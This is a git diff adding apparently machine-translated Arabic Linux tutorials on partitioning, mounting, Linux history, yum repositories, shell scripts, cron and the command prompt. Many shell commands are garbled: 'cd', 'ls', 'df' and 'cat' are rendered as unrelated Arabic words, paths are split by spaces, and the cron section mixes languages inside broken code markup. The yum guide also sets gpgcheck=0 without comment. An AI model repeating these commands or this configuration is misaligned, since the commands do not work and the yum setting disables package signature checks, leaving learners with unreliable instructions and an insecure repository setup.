+*   سيتم إنشاء قسم P4 بطريقة تجعله قرصًا ثابتًا منفصلاً.
+    
+*   هذا القسم هو قسم موسع حيث يمكننا إنشاء المزيد من الأقسام.
+    
+*   يأخذ القسم المنطقي مساحة في القسم الملحق. سيتم تخزين المعلومات أو جدول الأقسام في القسم الملحق.
+    
+*   إنشاء 3 القسم الأساسي و الأخير الموسعة 1.
+    
+*   يمكن إجراء 64 قسمًا الآن. 3 الابتدائية + 60 المنطقية + 1 الموسعة.
+    
+*   ولكن يمكن استخدام 63 قسمًا لتخزين البيانات (إزالة قسم واحد موسع).
+    
+*   لا يوجد فرق بين القسم الأساسي والمنطقي باستثناء أنه لا أحد يتحكم في الأساسي ولكن يتم التحكم المنطقي بواسطة الموسعة. لذلك إذا قمنا بإزالة القسم الموسّع ، فستتم إزالة جميع الأقسام المنطقية.
+    
+*   لمشاهدة معلومات الأقسام -
+    
+*   **lsblk** (قائمة أجهزة الحظر)
+    
+*   يُعرف القرص الصلب أيضًا باسم أجهزة الحظر
+    
+*   لا يمكن استخدام التقسيم الموسع لتخزين البيانات ، يمكن استخدام المنطقية والأولية فقط.
+    
+*   إذا كان يجب استخدام التقسيم للتخزين ، اتبع هذه الخطوات الثلاث -
+    
+
+1.  إنشاء قسم فعلي.
+2.  تنسيقه.
+3.  تفعيل / جبل.
+
+  
+
+## جزء الشكل
+
+*   يجب أن يقوم قسم بإنشاء فهرس لكل ملف جديد للمعالجة بشكل أسرع.
+    
+*   عند فتح الملف ، ابحث عن هذا الملف في الفهرس.
+    
+*   يتم تشكيل هذا الفهرس في قسم عند تنسيقه لأول مرة. كما يطلق عليه نظام الملفات.
+    
+*   يعرف جدول الفهرس هذا بجدول inode (عقدة فهرس).  لذا ، يجب تنسيق كل قسم.
+    
+*   يقوم نظام التشغيل بقراءة جدول inode فقط لعرض أحجام المجلدات والملفات ومحركات الأقراص وما إلى ذلك.
+    
+*   يمكن تغيير جدول inode هذا ، ثم سيظهر OS أحجام مختلفة ثم الحجم الفعلي.
+    
+*   عندما نقوم بإزالة ملف ، فإنه يزيل فقط إدخال inode من هذا الملف.
+    
+*   على سبيل المثال ، يمكنك إزالة ملف بحجم 1 غيغابايت و 100 غيغابايت ، فسيكون الوقت متشابهًا.
+    
+*   عندما نقوم بتنسيق قسم ، فإنه يزيل فقط صفحة الفهرس ، لن تتم إزالة البيانات. لذلك ، يمكننا استعادة البيانات من هذا القسم.
+    
+*   ينشئ نظام الملفات جدول inode لإدارة الملفات.
+    
+*   لتنسيق التقسيم -
+    
+*   **mkfs.ext4 / dev / sdb1**
+    
+*   مثال - NTFS و ext2 و ext3 و ext4 و xfs إلخ.
+    
+
+  
+
+## التركيب أو التنشيط
+
+*   يمكن استخدام نوعين فقط من الأشياء في نظام التشغيل - الملف والمجلد
+    
+*   لا يمكننا الذهاب مباشرة في جهاز. لذلك ، يجب أن يتم تحويل الجهاز الذي تم إنشاؤه في مجلد أو ارتباط بمجلد أو تركيب مع مجلد من أجل استخدام هذا.
+    
+*   **mkdir / البيانات**
+    
+*   **mount / dev / sdb1 / data** (هذه البيانات تشبه تثبيت محرك أقراص القلم وإلغاء تحميله)
+    
+*   **مؤتمر نزع السلاح / البيانات**
+    
+*   **قطة> adarsh.txt**
+    
+*   **umount / dev / sdb1**
+    
+*   **مؤتمر نزع السلاح / البيانات /**
+    
+*   **ليرة سورية**
+    
+*   جبل مرة أخرى
+    
+*   لمعرفة أي قسم يتم تركيبه على أي مجلد.
+    
+*   **مدافع -h**
+    
+*   يظهر الجدول inode.
+    
+*   **ls -l**
+    
+*   يظهر رقم inode.
+    
+*   ls -il
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/origins-of-linux-and-the-free-software-movement/index.md b/client/src/guide/arabic/linux/origins-of-linux-and-the-free-software-movement/index.md
new file mode 100644
index 0000000000..d60ba0660d
--- /dev/null
+++ b/client/src/guide/arabic/linux/origins-of-linux-and-the-free-software-movement/index.md
@@ -0,0 +1,13 @@
+---
+title: Origins of Linux and the Free Software Movement
+localeTitle: أصول لينكس وحركة البرمجيات الحرة
+---
+في الثمانينات من القرن الماضي ، قام أحد المخترقين المشهورين في معهد ماساتشوستس للتكنولوجيا ، والذي يعمل في مختبر الذكاء الاصطناعي ، ويدعى [ريتشارد ستولمان ،](https://en.wikipedia.org/wiki/Richard_Stallman) بتشجيع مشاركة المعرفة والأفكار بحرية ، وخاصة في مجال البرمجيات. [UNIX](https://en.wikipedia.org/wiki/Unix) كان [نظام التشغيل](https://en.wikipedia.org/wiki/Operating_system) (OS) المفضل من قبل الكثيرين في المجتمع الهندسي والعلمي ، لكن المشكلة كانت UNIX كانت [برمجيات احتكارية](https://en.wikipedia.org/wiki/Proprietary_software) . هذا يعني فقط أن موردي نظام التشغيل لديهم حق الوصول إلى [شفرة المصدر](https://en.wikipedia.org/wiki/Source_code) . ذهب ضد فلسفة ستالمان. وهذا لا يعني فقط أنه لم يكن مسموحًا للمستخدمين النهائيين برؤية كيفية عمل البرنامج ، ولكنهم لم يتمكنوا من إجراء أي تحسينات أو إصلاحات لها إذا أمكن ذلك.
+
+بدأ Stallman [مؤسسة البرمجيات الحرة](https://en.wikipedia.org/wiki/Free_Software_Foundation) (FSF) التي تدعم مبادئ [حركة البرمجيات الحرة](https://en.wikipedia.org/wiki/Free_software_movement) (الأفراد الذين يستخدمون ويساهمون بشكل تعاوني في البرمجيات المفتوحة والمجانية). كما كان مسؤولاً عن بدء [مشروع غنو](https://en.wikipedia.org/wiki/GNU_Project) في عام 1984 ، والذي كان أول محاولة لنظام تشغيل مجاني لم يكن UNIX (غنو هو [اختصار متكرر](https://en.wikipedia.org/wiki/Recursive_acronym) لـ "غنو ليس يونيكس"). سيحتوي مشروع جنو على كل ما هو مفيد في نظام UNIX ولكنه مكتوب من الصفر. الأهم من ذلك ، جنبا إلى جنب مع نظام التشغيل سيكون رمز المصدر أيضا متاحا قانونا لأولئك الذين يريدون ذلك. كانت الفكرة أن تبادل التعليمات البرمجية المصدر والمعرفة الداخلية لنظام التشغيل سيشجع على تطوير التعاون ، والذي بدوره سيخلق منتج نظام تشغيل أفضل. أدى مشروع جنو في نهاية المطاف إلى [رخصة جنو العمومية](https://en.wikipedia.org/wiki/GNU_General_Public_License) (GPL) التي صرّحت بكل البرامج المنزوعة تحتها لتكون متاحة بحرية وكذلك تتطلب توفير شفرة المصدر. في حين أن GPL كانت ناجحة وما زالت تستخدم اليوم لترخيص البرمجيات الحرة ، فإن مشروع جنو لم يبدأ أبدا كما هو مخطط له. تدخل قرصان آخر وقدم تطبيق نظام التشغيل المجاني إلى العالم بدلاً من ذلك.
+
+[لينوس تورفالدس](https://en.wikipedia.org/wiki/Linus_Torvalds) ، طالب فنلندي من جامعة هلسنكي ، أنشأ لأول مرة نواة [لينكس](https://en.wikipedia.org/wiki/Linux) بينما كان يقوم بتجربة نسخة مجانية وصغيرة من يونيكس تستخدم لأغراض تعليمية تسمى [MINIX](https://en.wikipedia.org/wiki/MINIX) والتي طورها [أندرو تانيباتوم](https://en.wikipedia.org/wiki/Andrew_S._Tanenbaum) . أرادت لينوس أن يكون لديها نظام تشغيل حر مشابه لم يكن لديه قيود تقتصر على الاستخدام التعليمي النقي. أنشأ لينكس مرخصًا بموجب ترخيص GPL وتم توزيعه على الإنترنت عام 1991 (يمكن العثور على شفرة المصدر الحالية والعمل على Linux Kernel على GitHub [هنا](https://github.com/torvalds/linux) . لم يستخدم Linus أي رمز من MINIX ، ولكنه أدرج الميزات التي تم العثور عليها في MINIX / UNIX وهذا هو السبب في أن نظام التشغيل Linux يُسمى ["UNIX-like"](https://en.wikipedia.org/wiki/Unix-like) أو "UNIX clone".
+
+على الرغم من حقيقة أن جنو بروجيكت لم يخلق نظام تشغيل مجاني بالكامل ، فقد أنشأ الكثير من برامج النظام للتفاعل مع النواة التي تعد ضرورية لنظام تشغيل جيد. وبالتالي ، فإن الجمع بين برامج Linux core kernel و GNU الأساسية جعل نظام التشغيل المجاني الكامل متاحًا.
+
+بمرور الوقت ، بدأ لينكس في جمع قوة سحب قوية داخل حركة البرمجيات الحرة. بدأ الآلاف من المطورين في جميع أنحاء العالم بتجربة واستخدامها ، مما جعل المساهمات التي يرونها ملائمة. وعندما أصبحت أكثر استقرارًا وغنى بالمميزات ، بدأت الشركات ببطء في تبني نظام لينكس كحل لاحتياجاتها ، بل وبدأت في المساهمة في لينكس نفسها. يصل نظام التشغيل Linux إلى العديد من الأجهزة والبيئات حتى يومنا هذا ويستمر في زيادة شعبيته.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/setting-up-yum-repositories-in-redhat-linux/index.md b/client/src/guide/arabic/linux/setting-up-yum-repositories-in-redhat-linux/index.md
new file mode 100644
index 0000000000..4ce0bbfad3
--- /dev/null
+++ b/client/src/guide/arabic/linux/setting-up-yum-repositories-in-redhat-linux/index.md
@@ -0,0 +1,41 @@
+---
+title: Setting Up Yum Repositories in RedHat/CentOS Linux
+localeTitle: إعداد مستودعات Yum في RedHat / CentOS Linux
+---
+مستودعات YUM هي مستودعات لبرامج Linux (ملفات حزمة RPM).
+
+ملف حزمة RPM هو عبارة عن ملف Red Hat Package Manager ويتيح تثبيت البرامج بسرعة وسهولة على Red Hat / CentOS Linux.
+
+## إعداد مستودعات Yum في RedHat CentOS Linux
+
+الخطوة 1: التحقق من وجود مستودعات حالية أم لا.
+
+ `#yum repolist 
+` 
+
+سوف تجد أنه لا يوجد مستودعات.
+
+الخطوة 2: تغيير الدليل إلى
+
+ `#cd /etc/yum.repos.d 
+` 
+
+الخطوة 3: إنشاء ملف جديد
+
+ `#vim myrepo.repo 
+` 
+
+الخطوة 4: اكتب الأسطر التالية في الملف
+
+ `[file-name] 
+ name=filename 
+ baseurl="location of yum repositories" 
+ gpgcheck=0 
+` 
+
+الخطوة 5: حفظ وخروج
+
+الخطوة 6: كرر الخطوة 1
+
+ `You Will find repositories 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/shell-scripting/index.md b/client/src/guide/arabic/linux/shell-scripting/index.md
new file mode 100644
index 0000000000..3434175ff7
--- /dev/null
+++ b/client/src/guide/arabic/linux/shell-scripting/index.md
@@ -0,0 +1,40 @@
+---
+title: Shell scripting
+localeTitle: البرمجة النصية شل
+---
+# البرمجة النصية شل
+
+في سطر الأوامر ، برنامج نصي shell هو ملف قابل للتنفيذ يحتوي على مجموعة التعليمات التي ستنفذها shell. انها الهدف الرئيسي لخفضه مجموعة من التعليمات (أو الأوامر) في ملف واحد فقط. كما يمكن التعامل معها بعض المنطق لأنه لغة برمجة.
+
+## كيفية إنشائه
+
+1) قم بإنشاء الملف:
+
+ `$ touch myscript.sh 
+` 
+
+2) إضافة [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) في بداية الملف. خط Shebang مسؤول عن السماح لمترجم الأوامر بمعرفة أي مترجم سيتم تشغيل البرنامج النصي shell مع:
+
+ `$ echo "#!/bin/bash" > myscript.sh 
+ # or 
+ $ your-desired-editor myscript.sh 
+ # write at the first line #!/bin/bash 
+` 
+
+3) إضافة بعض comands:
+
+ `$ echo "echo Hello World!" >> myscript.sh 
+` 
+
+4) إعطاء وضع _تنفيذ_ الملف:
+
+ `$ chmod +x myscript.sh 
+` 
+
+5) قم بتنفيذها!
+
+ `$ ./myscript.sh 
+ Hello World! 
+` 
+
+يمكن العثور على مزيد من المعلومات حول نصوص shell [هنا](https://www.shellscript.sh/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/some-usages-for-linux/automating-tasks/index.md b/client/src/guide/arabic/linux/some-usages-for-linux/automating-tasks/index.md
new file mode 100644
index 0000000000..6e832e786b
--- /dev/null
+++ b/client/src/guide/arabic/linux/some-usages-for-linux/automating-tasks/index.md
@@ -0,0 +1,173 @@
+---
+title: Automating Tasks
+localeTitle: أتمتة المهام
+---
+### أتمتة المهام أو جدولة المهام
+
+هناك ميزة من نظام لينكس مستخدمة بشكل حصري في خادم الويب ، المعروف باسم CRON كما نعلم أن إحدى الميزات الأكثر إقناعًا بأي خادم ويب هي أنه دائمًا تعمل على اتصال دائم بالإنترنت. هذا يعني أنه يمكننا توجيه الخادم الخاص بنا لأداء المهام تلقائيًا ، دون الحاجة إلى إدخال أمر في قذيفة. أحد أكثر البرامج شيوعًا لتنفيذ _البرامج الأخرى_ مع تردد منتظم يسمى `cron` . دعونا نلقي نظرة على كيفية استخدامها `cron` لجدولة برنامج ليتم تشغيلها.
+
+برنامج `cron` هو جزء من عائلة برامج تسمى **daemons** . خفي هو برنامج يعمل دائمًا في خلفية الكمبيوتر. أول، دعونا نرى ما إذا كان `cron` قيد التشغيل. يمكننا الحصول على قائمة بجميع البرامج قيد التشغيل باستخدام الأمر `ps` أثناء استخدام العلامة `-A` :
+
+\`\` \`{r، engine = 'bash'، eval = FALSE} PS -A
+
+## PID TTY TIME CMD
+
+## 1؟ 00:00:13 systemd
+
+## 2؟ 00:00:00 kthreadd
+
+## 3؟ 00:00:03 ksoftirqd / 0
+
+## 5؟ 00:00:00 kworker / 0: 0H
+
+## 7؟ 00:00:11 rcu\_sched
+
+## 8؟ 00:00:00 rcu\_bh
+
+## 9؟ 00:00:00 الترحيل / 0
+
+## ...
+
+ ``You probably have a huge list of programs in your terminal now! Instead of 
+ shifting through this listing line-by-line, let's pipe the output of this command 
+ to `grep` and we'll look for `cron`: 
+`` 
+
+{r، engine = 'bash'، eval = FALSE} ps -A | grep "cron"
+
+## 1273؟ 00:00:01 كرون
+
+ ``# You might or might not get a `cron` running . 
+ 
+ Looks like the `cron` daemon is running! In order to assign programs to be 
+ executed with `cron` we need to edit a special text file called the `cron` 
+ table. Before we edit the `cron` table we need to select the default text 
+ editor. If you like using `nano` (the text editor we've been using throughout 
+ this book) then enter `select-editor` into the console, type in the number 
+ that corresponds to `nano` (usually `2`) and then press enter: 
+`` 
+
+{r، engine = 'bash'، eval = FALSE} حدد محرر
+
+## اختر المحرر. للتغيير لاحقًا ، شغل "select-editor".
+
+## 1\. / بن / إد
+
+## 2\. / بن / نانو <---- أسهل
+
+## 3\. /usr/bin/vim.basic
+
+## 4\. /usr/bin/vim.tiny
+
+## اختر 1-4 \[2\]:
+
+ ``Now that we've chosen a text editor we can edit the `cron` table using the 
+ command `crontab -e` (**`cron`** **tab**le **e**dit) which will automatically 
+ open `nano` with the appropriate file. 
+`` 
+
+{r، engine = 'bash'، eval = FALSE} crontab -e
+
+# تحرير هذا الملف لتقديم المهام ليتم تشغيلها بواسطة cron.
+
+#
+
+# م ح دوم مون داو الأمر
+
+ ``Let's go over the layout of the `cron` table. First you should notice that any 
+ text after a pound sign (`#`) is a comment, so it's not seen by `cron` (just 
+ like bash comments). The `cron` table has six columns: 
+ 
+ 1. Minute (`m`) 
+ 2. Hour (`h`) 
+ 3. Day of Month (`dom`) 
+ 4. Month (`mon`) 
+ 5. Day of Week (`dow`) 
+ 6. Command to be run (`command`) 
+ 
+ Each column is separated by a single space in the table. The first five columns 
+ allow you to specify when you want a particular command to be run. Only certain 
+ values are valid in each column: 
+ 
+ 1. Minute: `00 - 59` (A particular minute in an hour) 
+ 2. Hour: `00 - 23` (0 is the midnight hour) 
+ 3. Day of Month: `01 - 31` (1 is the first day of the month) 
+ 4. Month: `01 - 12` (1 is January) 
+ 5. Day of Week `0 - 6` (0 is Sunday) 
+ 
+ There are also a few other characters that are valid in the `cron` table. The 
+ most commonly used character is a star (`*`) which represents *all* of the 
+ possible values in a column. So a star in the Minute column means "run every 
+ minute," and a star in the Hour column means "run during every hour." 
+ Knowing this let's make our first entry in the `cron` table. If we want a 
+ command to be executed every minute, during every hour, on every day of the 
+ month, during every month, on every day of the week, then we can put stars in 
+ all of the first five 
+ columns, followed by the command that we want to run. In this case the command 
+ that `cron` will run every minute will be `date >> ~/date-file.txt`, which will 
+ append the date and time when the command is executed to a file in our home 
+ directory called `date-file.txt`. This is what your `cron` table should look 
+ like before you save and exit from `nano`: 
+`` 
+
+# تحرير هذا الملف لتقديم المهام ليتم تشغيلها بواسطة cron.
+
+#
+
+# م ح دوم مون داو الأمر
+
+*   \* \* \* \* date >> ~ / date-file.txt
+
+ ``Save and exit `nano` just like you would for a regular text file and then wait 
+ a little bit! After a minute has gone by use `cat` to look at `~/date-file.txt`: 
+`` 
+
+{r، engine = 'bash'، eval = FALSE} القرص المضغوط تاريخ القط ملف
+
+## Thu Jun 8 18:50:01 UTC 2017
+
+ ``Look like our entry in the `cron` table is working! Wait another minute and then 
+ look at the file again: 
+`` 
+
+{r، engine = 'bash'، eval = FALSE} تاريخ القط ملف
+
+## Thu Jun 8 18:50:01 UTC 2017
+
+## الخميس 8 يونيو 18:51:01 UTC 2017
+
+ ``Unless we delete the line that we entered in the `cron` table, the output from 
+ `date` will be appended to `date-file.txt` every minute. 
+ 
+ The single line of bash `date >> ~/date-file.txt` is a much simpler program than 
+ we would probably use in a `cron` table, though it's good for illustrating how 
+ a `cron` table works. If you want to do more complex tasks with `cron` it's 
+ better for `cron` to execute a bash script that you've written in advance. That 
+ way you can just specify `bash /path/to/script.sh` in the last column of the 
+ table. 
+ 
+ Using stars in all columns is the simplest line of a `cron` table, so let's 
+ look at some examples of more complex table entries: 
+`` 
+
+# م ح دوم مون داو الأمر
+
+00 \* \* \* \* bash /path/to/script.sh # يتم تشغيل كل ساعة في بداية الساعة 00 12 \* \* \* bash /path/to/script.sh # يعمل كل يوم عند الظهر
+
+*   12 \* \* \* bash /path/to/script.sh # يتم تشغيل كل دقيقة بين الساعة 12 ظهرًا و 12:59 مساءً 00 00 05 \* \* bash /path/to/script.sh # يتم تشغيل اليوم الخامس من كل شهر في منتصف الليل 00 00 \* 07 \* bash /path/to/script.sh # تشغيل كل يوم في شهر تموز عند منتصف الليل 00 00 \* \* 2 bash /path/to/script.sh # يتم التشغيل كل ثلاثاء في منتصف الليل
+
+ ``Besides numbers and the star there are a few other characters that you can use 
+ in `cron` table columns including a hyphen (`-`) for specifying ranges and a 
+ comma (`,`) for specifying lists of items. For example `00-29` in the Minutes 
+ column would specify the first thirty minutes of an hour, while `1,5` in the 
+ Day of Week column would specify Monday and Friday. 
+ 
+ Let's take a look at another example of a `cron` table that uses hyphens and 
+ ranges so you can get a sense of how each character works. 
+`` 
+
+# م ح دوم مون داو الأمر
+
+00-04 \* \* \* \* bash /path/to/script.sh # يتم تشغيل كل دقيقة في الدقائق الخمس الأولى من كل ساعة 00 00 \* \* 0،6 bash /path/to/script.sh # يتم التشغيل عند منتصف ليل السبت والأحد 00 03 01-15 \* \* bash /path/to/script.sh # يتم التشغيل في الساعة الثالثة صباحًا في أول خمسة عشر يومًا من كل شهر 00،30 \* \* \* \* bash /path/to/script.sh # يتم تشغيله في بداية كل ساعة وفي منتصفها 00 00،12 \* \* \* bash /path/to/script.sh # تشغيل كل يوم في منتصف الليل وظهرا 00 \* 01-07 01،06 \* bash /path/to/script.sh # يتم تشغيله في بداية كل ساعة في الأيام السبعة الأولى من شهري يناير ويونيو \`\` \`
+
+إن البرنامج الذي يتم تشغيله بواسطة `cron` يكون فقط بنفس قوة خيالك يمكن أن تمتد! إذا كنت على دراية بالشبكة الاجتماعية [Twitter](https://twitter.com/) ربما تكون قد صادفت بعض التغريد الحسابات التي تنشئ وظائف تلقائيا مثل [Emoji Aquarium](https://twitter.com/emojiaquarium) ، [صور الفاكهة القديمة](https://twitter.com/pomological) ، أو [صراخ لانهائي](https://twitter.com/infinite_scream) . كثير من هذه "بوت" يتم تشغيل الحسابات بواسطة `cron` ، والذي يستخدم واجهة برمجة تطبيقات HTTP للتويتر لنشر التغريدات بشكل منتظم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/some-usages-for-linux/index.md b/client/src/guide/arabic/linux/some-usages-for-linux/index.md
new file mode 100644
index 0000000000..cd28ed687f
--- /dev/null
+++ b/client/src/guide/arabic/linux/some-usages-for-linux/index.md
@@ -0,0 +1,18 @@
+---
+title: Some Usages for Linux
+localeTitle: بعض الاستخدامات لينكس
+---
+*   يعمل نظام لينكس الآن على غالبية الهواتف الذكية والأجهزة اللوحية في جميع أنحاء العالم عبر [نظام](https://en.wikipedia.org/wiki/Android_(operating_system) التشغيل [Android](https://en.wikipedia.org/wiki/Android_(operating_system) ) الذي [يعمل بنظام](https://en.wikipedia.org/wiki/Android_(operating_system) تشغيل Linux kernel). اعتبارًا من مارس 2016 ، يحمل Android [60.99٪](https://www.netmarketshare.com/operating-system-market-share.aspx?qprid=8&qpcustomd=1) من حصة السوق على الأجهزة المحمولة (الأجهزة اللوحية والهواتف الذكية). كما تمتلك [82.8٪](http://www.idc.com/prodserv/smartphone-os-market-share.jsp) للهواتف الذكية وحدها (لكل أرقام الربع الثاني 2015).
+*   اعتبارًا من مارس 2016 ، ذكرت Alexa أن [96.55٪](http://www.w3cook.com/os/summary/) من أفضل 1 مليون نطاق عبر الإنترنت في العالم مدعومة بخوادم تعمل بنظام التشغيل Linux.
+*   [بورصة نيويورك (بورصة نيويورك)](https://en.wikipedia.org/wiki/New_York_Stock_Exchange) ، وهي أكبر بورصة في العالم والتي تتداول الأوراق المالية بقيمة مليارات الدولارات يوميا يتم تنفيذها بواسطة خوادم تعمل على لينكس بعد الابتعاد عن يونيكس.
+*   يقوم البيت الأبيض بتشغيل خوادم الويب الخاصة به باستخدام [Red Hat Linux](https://en.wikipedia.org/wiki/Red_Hat) و [Apache](https://en.wikipedia.org/wiki/Apache_HTTP_Server) .
+*   تستخدم وزارة الدفاع الأمريكية (DoD) لينكس لتشغيل أسطول الغواصات النووية.
+*   يمكنك أتمتة كل شيء في منزلك من خلال PI Raspberry.
+*   تستخدم البحرية الأمريكية لينكس لبرنامج التحكم الأرضي.
+*   يتم استخدام Linux لاستضافة مواقع الويب أو التطبيقات. يتم استخدام مضيفي الويب المستندة إلى Linux مثل 'Dreamhost' لاستضافة قارئ RSS الشخصي الخاص بك مع Tiny Tiny RSS أو استنساخ Dropbox الشخصي باستخدام OwnCloud.
+*   يمكن جعل التشغيل الآلي للمنزل ممكنًا باستخدام Linux مع كمبيوتر صغير مثل Raspberry Pi. يمكن استخدامه للتحكم في المنزل مع Siri ، تركيب قرص تقويم Google على الحائط ، إعداد نظام المراقبة المنزلية ، التحكم في الستائر ومكيف الهواء ، دفق الموسيقى ، بناء إطار الصورة الرقمية ، بناء ساعة منبه شروق الشمس وغيرها الكثير.
+*   تستخدم باكستان لينكس في العديد من مدارسها وكلياتها العامة وتخطط لتشغيلها في النهاية على جميع أنظمة الكمبيوتر الحكومية
+*   كانت وحدة تحكم ألعاب Playstation 3 من سوني قد تمكنت في السابق من تشغيل لينكس على محرك أقراص ثابت منفصل. قامت الكيانات العلمية بتجميع وحدات التحكم معًا للمجموعات القوية. جمع [مختبر أبحاث القوات الجوية الأمريكية](https://en.wikipedia.org/wiki/PlayStation_3_cluster) حاسوبًا فائقًا بواسطة المجموعة 1760 بلاي ستيشن 3 كونسولس.
+*   لينكس في الفضاء. يستخدم Ubuntu في محطة الفضاء الدولية. [اقرأ أكثر](https://news.softpedia.com/news/Ubuntu-Used-on-the-International-Space-Station-to-Control-Rover-Back-on-Earth-454101.shtml)
+
+يمكن الاطلاع على عمليات التبني الأخرى لنظام لينكس من جميع أنحاء العالم [هنا](https://en.wikipedia.org/wiki/List_of_Linux_adopters) [وهنا](http://www.comparebusinessproducts.com/fyi/50-places-linux-running-you-might-not-expect)
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/the-anatomy-of-the-linux-command-line/index.md b/client/src/guide/arabic/linux/the-anatomy-of-the-linux-command-line/index.md
new file mode 100644
index 0000000000..7bccc6c19c
--- /dev/null
+++ b/client/src/guide/arabic/linux/the-anatomy-of-the-linux-command-line/index.md
@@ -0,0 +1,34 @@
+---
+title: The Anatomy of the Linux Command Line
+localeTitle: تشريح خط قيادة لينكس
+---
+# تشريح خط قيادة لينكس
+
+في هذه التقنية العالية ، واجهة المستخدم الرسومية (GUI) ، تجد العديد من مستخدمي الكمبيوتر فكرة إدخال أوامر نصية (في موجه الأوامر أو مطراف) لتنفيذ المهام الأساسية مثل repulsive - ويجب أن يكون أفضل ترك للمبرمجين أو المطورين (في الواقع المهوسون).
+
+لحسن الحظ ، واجهة سطر الأوامر (CLI) هي ملك في عالم Linux. على الرغم من أن العديد من نكهات لينكس تأتي بواجهات رسومية جيّدة مصقولة وبديهية ، لتجربة لينكس المثلى ، يحتاج المرء إلى الإلمام بنظام لينكس CLI (المحطة الطرفية أو الهيكل) ليتمكن من القيام بعمليات الكمبيوتر الأساسية بطريقة سريعة ونظيفة.
+
+ما زال سطر الأوامر يلعب أدوارًا مهمة جدًا في حياة مستخدم Linux ومستخدمك أيضًا إذا اخترت استخدامه.
+
+في لينكس ، يتم إعطاء الأوامر (مطبوعة) في الجهاز. على الرغم من أن تطبيق المحطة الطرفية يمكن أن يكون له أسماء متنوعة عبر توزيعات linux مختلفة (توزيعات) - ولكن في معظم الأحيان يطلق عليه ببساطة "المحطة الطرفية" أو مصطلح ذو صلة وثيقة.
+
+للبدء باستخدام فتح المحطة الطرفية (لأوبونتو ببساطة اضغط على Ctrl + Alt + T) وترحب بك من خلال سلسلة من الرموز مرتبة في هذا الشكل.
+
+ `user_name@machine_name:~$ 
+` 
+
+يمكنك مشاهدة سطر أوامر ينتهي بمطالبة شفافية وامضة ، مما يعني أن shell جاهز لتلقي الأوامر من المستخدم.
+
+*   يقوم **_"_** اسم المستخدم **_"_** بتمثيل اسم تسجيل الدخول.
+    
+*   **_"machine\_name"_** (يُعرف أيضًا باسم النطاق) هو الاسم الذي تم تعيينه للكمبيوتر (أو الخادم) ويتم تعيينه عادةً أثناء التثبيت. في بعض الأحيان يمكن أن يمثلها عنوان IP.
+    
+*   تظهر علامة التلدة **_"~"_** أن الدليل الحالي للمستخدم هو "home" `(/home/user_name)` .
+    
+    *   لاحظ أن كل مستخدم في نظام Linux يحتوي على دليل HOME تم إنشاؤه من أجله ويكون هذا الدليل دائمًا هو نفس الاسم باسم مستخدم تسجيل الدخول (أو اسم المستخدم). هذا إذا كان اسم تسجيل الدخول هو "جون" ، فسيكون دليل المنزل / home / john. عند تسجيل الدخول ، يتم نقل كل مستخدم مباشرة إلى دليله الرئيسي.
+
+من محطة الأوامر يمكنك البدء في إعطاء الأوامر إلى shell. يمكن إعطاء أوامر متعددة على سطر أوامر واحد باستخدام فاصلة منقوطة لفصلها. شيء من هذا القبيل؛
+
+`user_name@machine_name:~$ who; free; df`
+
+ولكن في معظم الأحيان لضمان إخراج نظيف ، فمن المستحسن إدخال الأوامر في وقت واحد حتى لا تجمع الشاشة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/linux/the-command-prompt/index.md b/client/src/guide/arabic/linux/the-command-prompt/index.md
new file mode 100644
index 0000000000..70394d336f
--- /dev/null
+++ b/client/src/guide/arabic/linux/the-command-prompt/index.md
@@ -0,0 +1,263 @@
+---
+title: The Command Prompt
+localeTitle: موجه الأوامر
+---
+## موجه الأوامر
+
+كواحدة من أقدم واجهات المستخدم (UI) ، تم تنفيذ _موجه الأوامر_ (aka _shell_ ، _terminal_ ، _console_ ، _tty_ ) بعدة طرق.
+
+وقد أدى هذا إلى استخدام بعض الكلمات بشكل متبادل في المحادثة الحديثة التي لها في الواقع معان مختلفة قليلاً.
+
+* * *
+
+> جدول المحتويات
+
+*   [تاريخ قصير جدا](#a-very-very-short-history)
+*   [اليوم](#today)
+*   [شل](#the-shell)
+*   [سحق](#bash)
+*   [الحصول على مساعدة](#getting-help)
+*   [الموجه](#the-prompt)
+*   [الحصول على الجذر](#getting-root)
+*   [تسجيل الدخول](#login)
+*   [سودو](#sudo)
+*   [سو](#su)
+*   [المسارات النسبية والمطلقة](#relative-and-absolute-paths)
+*   [نسبيا](#relative)
+*   [مطلق](#absolute)
+*   [خيارات القيادة](#command-options)
+*   [تسلسل الأوامر](#chaining-commands)
+*   [وظائف الخلفية](#background-jobs)
+
+* * *
+
+### تاريخ قصير جدا
+
+في القرن التاسع عشر كان [التلغراف](https://en.wikipedia.org/wiki/Electrical_telegraph) . هذا سمح شخصين لتبادل الرسائل المشفرة عبر مسافات طويلة. أدت التطورات التكنولوجية اللاحقة إلى استخدام [آلة](https://en.wikipedia.org/wiki/Teleprinter) تيلبايب (tty) ، حيث تم استبدال الشخص المطلوب لاستلام الرسالة بنوع من الطابعات.
+
+في نفس الوقت ، تم برمجة أجهزة الكمبيوتر المبكرة مثل ENIAC ، مع نوع من الأجهزة ، مثل المفاتيح ، والمفاتيح ، أو كبلات التصحيح. ومع تقدم الحواسيب ، كانت هناك حاجة إلى إدخال / إخراج أفضل (IO) ، وبالتالي تم تحويل آلات التليبيرات المتاحة للاستخدام.
+
+لأن tty's كانت قطع أثاث كبيرة بمفردها ، وحصلت على **وحدة تحكم** الاسم لأوجه الشبه بينها إلى أثاث آخر قائم بذاته مثل أجهزة التلفزيون الخاصة بالكونسول. كنقطة نهاية إلكترونية لكابل مركزي ، كانت تسمى هذه الأجهزة أيضًا **بالمطاريف** .
+
+في نهاية المطاف تم استبدال طابعات TTY بشاشات أنبوب أشعة الكاثود (CRT) ، والتي كانت تستخدم أيضًا في أجهزة التلفزيون قبل توفر LCD والبلازما. ومن المثير للاهتمام أن أجهزة الكمبيوتر الحديثة من نظام لينكس لا يزال من الممكن التحكم فيها باستخدام آلة tty!
+
+> انقر على الصورة أدناه للانتقال إلى فيديو قصير على Youtube.
+
+[![](https://i.ytimg.com/vi/-Ul-f3hPJQM/hqdefault.jpg)](https://youtu.be/-Ul-f3hPJQM)
+
+* * *
+
+### اليوم
+
